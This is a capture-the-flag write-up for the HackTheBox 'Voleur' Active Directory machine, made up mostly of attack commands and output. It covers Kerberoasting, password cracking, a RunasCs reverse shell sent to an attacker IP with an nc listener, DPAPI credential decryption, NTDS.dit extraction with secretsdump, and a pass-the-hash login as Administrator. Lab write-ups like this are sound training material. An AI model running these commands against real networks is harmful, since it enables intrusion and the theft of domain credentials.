Voleur · Write-up HackTheBox

kerberos
krb5ccache
dpapi
office2john
RunasCs
kerberoasting
bloodhound
evil-winrm
hashcat
ssh
ntds
secretsdump
AD_RecycleBin
faketime

Enum#

jboss-cli

┌──(kaliznoo㉿kali)-[~/Pentest/HTB/Voleur]
└─$ cat scan
# Nmap 7.95 scan initiated Mon Jul  7 17:43:33 2025 as: /usr/lib/nmap/nmap --privileged -p- -sC -sV -O -vv -oN scan voleur.htb
Nmap scan report for voleur.htb (10.129.232.130)
Host is up, received echo-reply ttl 127 (0.014s latency).
rDNS record for 10.129.232.130: dc.voleur.htb
Scanned at 2025-07-07 17:43:33 CEST for 222s
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-07-07 23:45:43Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
2222/tcp  open  ssh           syn-ack ttl 127 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+vH6cIy1hEFJoRs8wB3O/XIIg4X5gPQ8XIFAiqJYvSE7viX8cyr2UsxRAt0kG2mfbNIYZ+80o9bpXJ/M2Nhv1VRi4jMtc+5boOttHY1CEteMGF6EF6jNIIjVb9F5QiMiNNJea1wRDQ2buXhRoI/KmNMp+EPmBGB7PKZ+hYpZavF0EKKTC8HEHvyYDS4CcYfR0pNwIfaxT57rSCAdcFBcOUxKWOiRBK1Rv8QBwxGBhpfFngayFj8ewOOJHaqct4OQ3JUicetvox6kG8si9r0GRigonJXm0VMi/aFvZpJwF40g7+oG2EVu/sGSR6d6t3ln5PNCgGXw95pgYR4x9fLpn/OwK6tugAjeZMla3Mybmn3dXUc5BKqVNHQCMIS6rlIfHZiF114xVGuD9q89atGxL0uTlBOuBizTaF53Z//yBlKSfvXxW4ShH6F8iE1U8aNY92gUejGclVtFCFszYBC2FvGXivcKWsuSLMny++ZkcE4X7tUBQ+CuqYYK/5TfxmIs=
|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMkGDGeRmex5q16ficLqbT7FFvQJxdJZsJ01vdVjKBXfMIC/oAcLPRUwu5yBZeQoOvWF8yIVDN/FJPeqjT9cgxg=
|   256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILv295drVe3lopPEgZsjMzOVlk4qZZfFz1+EjXGebLCR
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
50441/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
50442/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
50454/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
50459/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
50478/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.95%E=4%D=7/7%OT=53%CT=%CU=%PV=Y%G=N%TM=686BEC03%P=x86_64-pc-linux-gnu)
SEQ(SP=106%GCD=1%ISR=10C%TI=I%II=I%SS=S%TS=A)
SEQ(SP=108%GCD=1%ISR=10B%TI=I%II=I%SS=S%TS=A)
OPS(O1=M552NW8ST11%O2=M552NW8ST11%O3=M552NW8NNT11%O4=M552NW8ST11%O5=M552NW8ST11%O6=M552ST11)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFDC)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M552NW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)

Uptime guess: 0.004 days (since Mon Jul  7 17:41:08 2025)
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2025-07-07T23:46:39
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 25377/tcp): CLEAN (Timeout)
|   Check 2 (port 25448/tcp): CLEAN (Timeout)
|   Check 3 (port 59721/udp): CLEAN (Timeout)
|   Check 4 (port 14599/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 7h59m59s

bash

echo "10.10.11.76 dc.voleur.htb voleur.htb" | sudo tee -a /etc/hosts

User flag#

bash

impacket-getTGT -dc-ip $IP 'voleur.htb/ryan.naylor:HollowOct31Nyt'

bash

faketime "$(rdate -n $IP -p | awk '{print $2, $3, $4}' | date -f - "+%Y-%m-%d %H:%M:%S")" zsh

text

export KRB5CCNAME=ryan.naylor.ccache

bash

nxc smb dc.voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -d VOLEUR.HTB -k --shares

bash

nxc smb dc.voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -d VOLEUR.HTB -k -M spider_plus -o SHARE=IT DOWNLOAD_FLAG=True

bash

dc.voleur.htb/IT/First-Line Support/Access_Review.xlsx

Protected by password

bash

office2john Access_Review.xlsx

bash

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

The password is football1

We got many creds

bash

bloodhound-python -u $USER -p $PASSWORD -d voleur.htb -c All --zip -ns $IP -k

bash

python3 targetedKerberoast.py -v -d voleur.htb --dc-host dc.voleur.htb -u "SVC_LDAP" -p "M1XyC9pW7qT5Vn" -k

bash

hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

His password is SVC_WINRM/AFireInsidedeOzarctica980219afi

bash

impacket-getTGT voleur.htb/svc_winrm:AFireInsidedeOzarctica980219afi -dc-ip dc.voleur.htb

bash

export KRB5CCNAME=svc_winrm.ccache

bash

evil-winrm -i dc.voleur.htb -r VOLEUR.HTB -u $USER -p $PASSWORD

We got the user flag

Root flag#

Download runascs.exe

bash

upload RunasCs.exe

On attack machine

text

rlwrap nc -lvnp 9876

On Evil-winrm

bash

.\RunasCs.exe svc_ldap M1XyC9pW7qT5Vn cmd.exe -r 10.10.14.103:9876

Start powershell and list all deleted users

powershell

Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Properties * | Select-Object Name,LastKnownParent,ObjectClass

Todd Wolfe can be restored

powershell

Get-ADObject -Filter 'isDeleted -eq $true -and Name -like "*Todd Wolfe*"' -IncludeDeletedObjects | Restore-ADObject

bash

impacket-getTGT voleur.htb/svc_winrm:AFireInsidedeOzarctica980219afi -dc-ip dc.voleur.htb

text

export KRB5CCNAME=TODD.WOLFE.ccache

bash

smbclient.py -k DC.VOLEUR.HTB

We download Creds and masterkey via SMB in the second line Support folder

bash

mget /Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Credentials/772275FAD58525253490A9B0039791D3 

mget /Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Protect/S-1-5-21-3927696377-1337352550-2781715495-1110/08949382-134f-4c63-b93c-ce52efc0aa88

apache

impacket-dpapi  masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 -sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password NightT1meP1dg3on14

bash

impacket-dpapi credential -file 772275FAD58525253490A9B0039791D3 -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83

We have the creds for jeremy.combs/qT3V9pLXyN7W4m

bash

impacket-getTGT voleur.htb/jeremy.combs:qT3V9pLXyN7W4m -dc-ip $IP

bash

export KRB5CCNAME=jeremy.combs.ccache

text

evil-winrm -i dc.voleur.htb -r VOLEUR.HTB

jboss-cli

*Evil-WinRM* PS C:\IT\Third-Line Support> ls

    Directory: C:\IT\Third-Line Support

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         1/30/2025   8:11 AM                Backups
-a----         1/30/2025   8:10 AM           2602 id_rsa
-a----         1/30/2025   8:07 AM            186 Note.txt.txt

We can't access to Backups folder

SSH to WSL target

bash

chmod 600 id_rsa

bash

ssh svc_backup@voleur.htb -p 2222 -i id_rsa

bash

/mnt/c/IT/Third-Line Support/Backups/

Here we can go to Backups folder

It's over we can now execute local extract for the NTDS.dit databse

bash

scp -P 2222 -i id_rsa svc_backup@voleur.htb:"/mnt/c/IT/Third-Line Support/Backups/registry/*" .

bash

scp -P 2222 -i id_rsa svc_backup@voleur.htb:"/mnt/c/IT/Third-Line Support/Backups/Active Directory/*" .

bash

impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

bash

impacket-getTGT VOLEUR.HTB/Administrator -hashes :e656e07c56d831611b577b160b259ad2 -dc-ip dc.voleur.htb

bash

export KRB5CCNAME=Administrator.ccache

bash

evil-winrm -i dc.voleur.htb -r VOLEUR.HTB

Techniques utilisées#

BloodHound
Kerberoasting Exploitation
Exploit SMB
Exploit Winrm
Exploit NTDS.dit
AD enumeration
Netexec